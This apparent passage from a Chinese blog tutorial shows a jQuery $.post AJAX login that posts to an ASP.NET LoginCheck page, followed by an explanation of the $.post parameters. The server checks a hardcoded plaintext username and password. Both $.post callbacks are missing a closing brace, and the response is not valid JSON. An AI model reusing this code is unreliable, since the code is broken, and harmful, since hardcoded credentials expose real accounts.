&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("密码不能为空!");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $("#txtPass").focus();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function Go()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $.post("LoginCheck.aspx", { Action: "post", UserID: $("#txtUserID").val(),UserPass: $("#txtPass").val() },<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function (data, textStatus){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(data.result);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "json");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &lt;/script&gt;</p>
<p>//LoginCheck.aspx.cs</p>
<p>using System;<br />
using System.Data;<br />
using System.Configuration;<br />
using System.Collections;<br />
using System.Web;<br />
using System.Web.Security;<br />
using System.Web.UI;<br />
using System.Web.UI.WebControls;<br />
using System.Web.UI.WebControls.WebParts;<br />
using System.Web.UI.HtmlControls;</p>
<p>/// &lt;summary&gt;<br />
/// DotBBS.NET 提供<br />
/// 阿强 <a href="http://www.cnblogs.com/aqiang">http://www.cnblogs.com/aqiang</a><br />
/// &lt;/summary&gt;<br />
public partial class LoginCheck : System.Web.UI.Page<br />
{<br />
&nbsp;&nbsp;&nbsp; protected void Page_Load(object sender, EventArgs e)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!IsPostBack)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string retVal = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string UserID = Request["UserID"];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string UserPass = Request["UserPass"];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (UserID == "cyq" &amp;&amp; UserPass == "000000")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retVal = "result:'success'";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retVal = "result:'fail'";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Response.ContentType = "application/json";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Response.Write(retVal);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.ContentType = "application/json";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("{"+retVal+"}");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }<br />
}</p>
<p>程序分析：<br />
主要使用的JQuery函数,jQuery.post( url, [data], [callback], [type] ) ：使用POST方式来进行异步请求 <br />
参数： </p>
<p>url (String) : 发送请求的URL地址. </p>
<p>data (Map) : (可选) 要发送给服务器的数据，以 Key/value 的键值对形式表示。 </p>
<p>callback (Function) : (可选) 载入成功时回调函数(只有当Response的返回状态是success才是调用该方法)。</p>
<p>type (String) : (可选)官方的说明是：Type of data to be sent。其实应该为客户端请求的类型(JSON,XML,等等)</p>
<p>&nbsp;</p>
<p>&nbsp;$.post("LoginCheck.aspx", { Action: "post", UserID: $("#txtUserID").val(),UserPass: $("#txtPass").val() },<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function (data, textStatus){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert(data.result);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "json");</p>
<p>注意事项：</p>
<p><span style="color: red">1 Ajax后台程序页面LoginCheck.aspx中的html标记一定要删除。<br />
2 json格式.一定要带"{}";</span></p>
<p>(c)cnblogs.com/aqiang&nbsp; DotBBS.net</p>
<p><a href="http://files.cnblogs.com/aqiang/JQuery-Ajax登陆.rar">实例下载<br />
</a></p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1317592.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47960/" target="_blank">火狐3.5版被指推出太匆忙：存在50多个漏洞</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item></channel></rss>